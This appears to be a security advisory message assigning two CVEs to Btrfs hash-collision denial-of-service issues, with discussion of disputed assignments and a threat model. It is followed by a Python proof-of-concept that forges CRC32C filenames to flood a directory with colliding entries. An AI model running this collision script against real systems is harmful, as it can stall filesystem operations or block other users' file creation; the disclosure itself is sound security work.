We have assigned two CVEs to these issues in the Linux kernel:
http://crypto.junod.info/2012/12/13/hash-dos-and-btrfs/
CVE-2012-5374 Btrfs CRC32C feature leads to an "infinite loop" or a
similar lengthy runtime of filesystem operations
CVE-2012-5375 Btrfs CRC32C feature prevents file creation in ways
that may cross privilege boundaries
Here are a few additional comments. We realize that the assignment of
CVE-2012-5374 is potentially problematic because the researcher did
not investigate the code to determine whether an infinite loop was
actually occurring. Our expectation is that, after source-code
analysis is completed by others, the correct number of CVE IDs for the
issue will still be one.
We realize that the assignment of CVE-2012-5375 is potentially
problematic because there is, in some sense, a vendor statement that
the software behavior is completely intentional ("Group writable
directories have other security issues, and so we picked the hash
knowing this kind of DOS was possible"). However, there are other
threat models that may be relevant in some environments, and some CVE
consumers may wish to track the stated behavior in conjunction with a
vulnerability-handling process. Thus, there arguably should be a CVE
for this issue in Btrfs, and other CVEs could be assigned on request
for each additional hash-based-filesystem codebase with a similar
behavior. As usual, the CVE project is willing to mark the CVE
descriptions as "** DISPUTED **" based on vendor information.
Here is an example of an alternative threat model that might be
relevant. Suppose a system has restricted user accounts that don't
have full shell access or full filesystem access. Specifically, users
have no mechanism for modifying or deleting the dotfiles in their home
directories, but can create other files. A security product, running
as root, automatically creates .hushlogin files in home directories
whenever the current motd has private information. A user can cross
privilege boundaries and bypass this security mechanism by creating a
file with a different name. One can argue that this isn't a
vulnerability in the security product because it couldn't reasonably
anticipate that existence of other filenames would trigger failure of
root's O_CREAT|O_WRONLY open system call for .hushlogin.
## Borrows code from
"""Calculate and manipulate CRC32.
http://en.wikipedia.org/wiki/Cyclic_redundancy_check
-- StalkR
"""
## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py
import struct
import sys
import os
# Polynoms in reversed notation
POLYNOMS = {
'CRC-32-IEEE': 0xedb88320, # 802.3
'CRC-32C': 0x82F63B78, # Castagnoli
'CRC-32K': 0xEB31D82E, # Koopman
'CRC-32Q': 0xD5828281,
}
class CRC32(object):
"""A class to calculate and manipulate CRC32.
Use one instance per type of polynom you want to use.
Use calc() to calculate a crc32.
Use forge() to forge crc32 by adding 4 bytes anywhere.
"""
def __init__(self, type="CRC-32C"):
if type not in POLYNOMS:
raise Error("Unknown polynom. %s" % type)
self.polynom = POLYNOMS[type]
self.table, self.reverse = [0]*256, [0]*256
self._build_tables()
def _build_tables(self):
for i in range(256):
fwd = i
rev = i << 24
for j in range(8, 0, -1):
# build normal table
if (fwd & 1) == 1:
fwd = (fwd >> 1) ^ self.polynom
else:
fwd >>= 1
self.table[i] = fwd & 0xffffffff
# build reverse table =)
if rev & 0x80000000 == 0x80000000:
rev = ((rev ^ self.polynom) << 1) | 1
else:
rev <<= 1
rev &= 0xffffffff
self.reverse[i] = rev
def calc(self, s):
"""Calculate crc32 of a string.
Same crc32 as in (binascii.crc32)&0xffffffff.
"""
crc = 0xffffffff
for c in s:
crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff]
return crc^0xffffffff
def forge(self, wanted_crc, s, pos=None):
"""Forge crc32 of a string by adding 4 bytes at position pos."""
if pos is None:
pos = len(s)
# forward calculation of CRC up to pos, sets current forward CRC state
fwd_crc = 0xffffffff
for c in s[:pos]:
fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff]
# backward calculation of CRC up to pos, sets wanted backward CRC state
bkd_crc = wanted_crc^0xffffffff
for c in s[pos:][::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
# deduce the 4 bytes we need to insert
for c in struct.pack('<L',fwd_crc)[::-1]:
bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)
res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:]
return res
if __name__=='__main__':
hack = False
ITERATIONS = 10
crc = CRC32()
wanted_crc = 0x00000000
for i in range (ITERATIONS):
for j in range(55):
str = os.urandom (16).encode ("hex").strip ("\x00")
if hack:
f = crc.forge(wanted_crc, str, 4)
if ("/" not in f) and ("\x00" not in f):
file (f, 'a').close()
else:
file (str, 'a').close ()
wanted_crc += 1